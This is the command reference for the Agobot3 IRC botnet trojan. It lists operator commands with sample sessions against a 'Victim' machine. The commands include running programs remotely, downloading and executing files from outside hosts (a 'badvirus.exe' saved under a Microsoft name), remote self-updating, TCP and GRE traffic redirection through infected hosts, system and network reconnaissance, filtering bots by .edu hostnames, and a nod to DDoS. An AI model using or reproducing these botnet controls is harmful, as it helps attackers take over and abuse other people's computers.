| command |
alias |
syntax |
description |
example |
| bot commands |
|
|
|
|
| bot.about |
|
bot.about
|
displays the info the author wants
you to see |
<Ago> .bot.about
<Agobot3> Agobot3 (0.1.3 Alpha) "Release" on "Win32" by Ago
(theago@gmx.net). homepage: http://none.yet/
|
bot.die
|
|
bot.die
|
terminates the bot
|
<Ago> .bot.die
<-- Agobot3 has quit (Read error: 104 (Connection reset by peer))
|
bot.dns
|
|
bot.dns <hostname/ip>
|
resolves ip/hostname by dns
|
<Ago> .bot.dns ago.bastart.net
<Agobot3> ago.bastart.net -> 90.0.1.55
<Ago> .bot.dns 90.0.1.55
<Agobot3> 90.0.1.55 -> ago.bastart.net
|
bot.execute
|
|
bot.execute <visibility>
"<command>"
|
makes the bot execute an .exe, exe
is hidden when visibility is 0. note that visibility has no effect on
gui programs that dont honor the visibility parameter WinMain gets.
|
<Ago> .bot.execute 1
notepad.exe
(Victim executes notepad.exe visible)
|
bot.id
|
|
bot.id
|
displays the bots id which is used
to identify which version is running, and only update the bots that
need it during an update
|
<Ago> .bot.id
<Agobot3> DC0M0R17
|
bot.nick
|
|
bot.nick <nickname>
|
changes the nickname of the bot
|
<Ago> .bot.nick dem_bot0r
--- Agobot3 is now known as dem_bot0r
|
bot.open
|
|
bot.open <filename>
|
makes the bot open any file using
ShellExecuteA or similar functions (in Linux) to open any file that is
a registered file type
|
<Ago> .bot.open e:\agobot3.txt
(Victim opens e:\agobot3.txt in Notepad)
|
bot.remove
|
|
bot.remove
|
completely removes the bot from the
system
|
<Ago> .bot.remove
<Agobot3> removing bot...
<-- Agobot3 has quit (Read error: 104 (Connection reset by peer))
|
bot.removeallbut
|
|
bot.removeallbut <id>
|
same as bot.remove, but skips bots
that have the specified id
|
<Ago> .bot.removeallbut
DC0M0R17
(All bots that don't have id DC0M0R17 remove themselves)
|
bot.rndnick
|
|
bot.rndnick
|
assigns a new random nickname to the
bot
|
<Ago> .bot.rndnick
--- Ago-odkaz is now known as Ago-buzjb
<Ago> .bot.rndnick
--- Ago-buzjb is now known as Ago-dgrpv
|
bot.status
|
|
bot.status
|
causes the bot to display its status
|
<Ago> .bot.status
<Agobot3> Agobot3 (0.1.3 Alpha) "Release" on "Win32" ready. Up 0d
0h 1m.
|
bot.sysinfo
|
|
bot.sysinfo
|
causes the bot to display system
information
|
<Ago> .bot.sysinfo
<Agobot3> cpu: 500MHz. ram: 523764KB total, 300636KB free. os:
Windows 2k [Service Pack 4] (5.0, build 2195). uptime: 1d 9h 49m
|
bot.quit
|
|
bot.quit
|
causes the bot to quit irc and
terminate itself
|
<Ago> .bot.quit
<-- Agobot3 has quit (Read error: 104 (Connection reset by peer)) |
bot.repeat
|
|
bot.repeat <num> <cmd>
|
the bot will repeat the specified
command num times
|
<Ago> .bot.repeat 2 .bot.status
<Agobot3> Agobot3 (0.1.3 Alpha) "Release" on "Win32" ready. Up 0d
0h 1m.
<Agobot3> Agobot3 (0.1.3 Alpha) "Release" on "Win32" ready. Up 0d
0h 1m.
|
| command manager commands |
|
|
|
|
| commands.list |
|
commands.list
|
dumps a list of commands similar to
this
|
<Ago> .commands.list
<Agobot3> -[ command list ]-
<Agobot3> 1. / "commands.list" / "Lists all available commands"
<Agobot3> 2. / "cvar.list" / "prints a list of all cvars"
(and more to follow...)
|
| cvar commands |
|
|
|
|
cvar.list
|
|
cvar.list
|
dumps a list of cvars
|
<Ago> .cvar.list
<Agobot3> -[ cvar list ]-
<Agobot3> 1. / "si_server_root.chanpass" / "" / "Server Info -
Channel Password"
<Agobot3> 2. / "si_server_root.mainchan" / "#agobot3" / "Server
Info - Main Channel"
(and more to follow...)
|
cvar.get
|
|
cvar.get <cvarname>
|
displays the value of the named cvar
|
<Ago> .cvar.get si_mainchan
<Agobot3> si_mainchan == "#agobot3"
|
cvar.set
|
|
cvar.get <cvarname>
"<value>"
|
sets the value of the named cvar to
the value
|
<Ago> .cvar.set bot_prefix "\"
<Agobot3> bot_prefix = "\" (was ".")
<Ago> \bot.status
<Agobot3> Agobot3 (0.1.3 Alpha) "Release" on "Win32" ready. Up 0d
0h 0m.
|
| irc commands |
|
|
|
|
irc.disconnect / irc.reconnect
|
|
irc.disconnect / irc.reconnect
|
disconnects/reconnects the bot from
irc
|
<Ago> .irc.disconnect
<-- Agobot3 has quit (Read error: 104 (Connection reset by peer)) |
irc.action
|
|
irc.action <target>
"<action>"
|
makes the bot send an action to the
target
|
<Ago> .irc.action #agobot3
"ddoses da bad guy"
* Agobot3 ddoses da bad guy |
irc.getedu
|
|
irc.getedu
|
makes bot reply with irc.netinfo if
the hostname contains .edu
|
<Ago> .irc.getedu
<Agobot3> connection type: N/A (N/A). local IP address:
18.240.0.110. connected from: XXXXXXXX.mit.edu
(more to follow...)
|
irc.gethost
|
|
irc.gethost <hostpart>
|
makes bot reply with irc.netinfo if
the hostname contains the specified hostpart |
<Ago> .irc.gethost tu-
<Agobot3> connection type: N/A (N/A). local IP address:
130.83.217.200. connected from: cXXXX.karlshof.wh.tu-darmstadt.de
(more to follow...)
|
irc.join/irc.part
|
|
irc.join <channel>
<pwd> / irc.part <channel>
|
makes the bot join part the
specified channel
|
<Ago> .irc.join #agobot4
AJuq4Js
(Victim joins #agobot4)
<Ago> .irc.part #agobot4
(Victim leaves #agobot4)
|
irc.netinfo
|
|
irc.netinfo
|
causes the bot to display network
information |
<Ago> .irc.netinfo
<Agobot3> connection type: N/A (N/A). local IP address:
90.0.1.55. connected from: ago.bastart.net
|
irc.privmsg
|
|
irc.privmsg <target>
"<text>"
|
makes the bot send a privmsg to the
target
|
<Ago> .irc.privmsg #agobot3
"bla"
<Agobot3> bla
<Ago> .irc.privmsg Ago "bla"
*Agobot3* bla
|
irc.quit
|
|
irc.quit
|
makes the bot quit from irc
|
<Ago> .irc.quit
<-- Agobot3 has quit (Read error: 104 (Connection reset by peer)) |
irc.raw
|
|
irc.raw "<string>"
|
makes the bot send raw string to the
server
|
<Ago> .irc.raw "QUIT :Bla"
<-- Agobot3 has quit (Quit: Bla) |
irc.reconnect
|
|
irc.reconnect
|
makes the bot reconnect to irc
|
<Ago> .irc.reconnect
<-- Agobot3 has quit (Remote closed the connection)
--> Agobot3 (Agobot3@bastart-1091.bastart.net) has joined #agobot3
|
irc.server
|
|
irc.server <server>
<port> <serverpass>
|
makes the change the server cvars
|
<Ago> .irc.server
some.ircd.org 6667
|
irc.mode
|
|
irc.mode <modestr>
|
makes the the bot change irc modes
|
<Ago> .irc.mode #agobot3 -o Ago
--- Agobot3 removes channel operator status from Ago
|
| mac commands |
|
|
|
|
login
|
|
login <user> <password>
|
logs in a user to the bot
|
<Ago> .login Ago *******
<Agobot3> Password accepted.
|
mac.logout
|
|
mac.logout
|
logs out a user from the bot
|
<Ago> .mac.logout
<Agobot3> User Ago logged out.
|
| redirect commands |
|
|
|
|
redirect.tcp
|
|
redirect.tcp <localport>
<remotehost> <remoteport> |
redirects a tcp port to another host
|
<Ago> .redirect.tcp 2352
www.microsoft.com 80
<Agobot3> redirtcp: redirecting from port 2352 to
"www.microsoft.com:80".
|
redirect.gre
|
|
redirect.gre <server>
<client> [localip]
|
redirects gre traffic, this can be
used to proxy PPTP VPN connections.
|
<Ago> .redirect.gre
www.microsoft.com ago.bastart.net
<Agobot3> redirgre: redirecting from "www.microsoft.com" to
"ago.bastart.net" over "". |
redirect.stop
|
|
redirect.stop
|
stops all redirects immediately
|
<Ago> .redirect.stop
|
| downloader commands |
|
|
|
|
ftp.download
|
|
ftp.download <user>
<pass> <host>
<path> <target>
|
makes the bot download a file from
ftp to the specified directory. supports environment variable
expansions.
|
<Ago> .ftp.download
billg password ftp.microsoft.com / %TEMP%\microsoft.html
<Agobot3> Receiving file.
<Agobot3> download to C:\Temp\microsoft.html finished.
|
ftp.execute
|
|
ftp.execute <user>
<pass> <host>
<path> <target>
|
makes the bot download a file from
ftp to the specified directory and execute it. supports environment
variable expansions. |
<Ago> .ftp.execute
billg password www.microsoft.com /badvirus.exe %TEMP%\microsoft.exe
<Agobot3> Receiving file.
<Agobot3> download to C:\Temp\microsoft.exe finished.
<Agobot3> opened C:\Temp\microsoft.exe.
|
ftp.update
|
|
ftp.update <user>
<pass> <host>
<path> <target> <id>
|
makes the bot download a file from
ftp to the specified directory and update to it if the id doesn't
match. supports environment
variable expansions. |
<Ago> .ftp.update
billg password www.microsoft.com /badvirus.exe %TEMP%\microsoft.exe
Microsoft0r24
<Agobot3> Receiving update
<Agobot3> download to C:\Temp\microsoft.exe finished,
updating.... |
http.download
|
|
http.download <host>
<path> <target>
|
makes the bot download a file from
http to the specified directory. supports environment variable
expansions.
|
<Ago> .http.download
www.microsoft.com / %TEMP%\microsoft.html
<Agobot3> Receiving file.
<Agobot3> download to C:\Temp\microsoft.html finished.
|
http.execute
|
|
http.execute <host>
<path> <target>
|
makes the bot download a file from
http to the specified directory and execute it. supports environment
variable expansions. |
<Ago> .http.execute
www.microsoft.com /badvirus.exe %TEMP%\microsoft.exe
<Agobot3> Receiving file.
<Agobot3> download to C:\Temp\microsoft.exe finished.
<Agobot3> opened C:\Temp\microsoft.exe.
|
http.update
|
|
http.update <host>
<path> <target> <id>
|
makes the bot download a file from
http to the specified directory and update to it if the id doesn't
match. supports environment
variable expansions. |
<Ago> .http.update
www.microsoft.com /badvirus.exe %TEMP%\microsoft.exe Microsoft0r24
<Agobot3> Receiving file
<Agobot3> download to C:\Temp\microsoft.exe finished,
updating.... |
notes:
1. none yet |
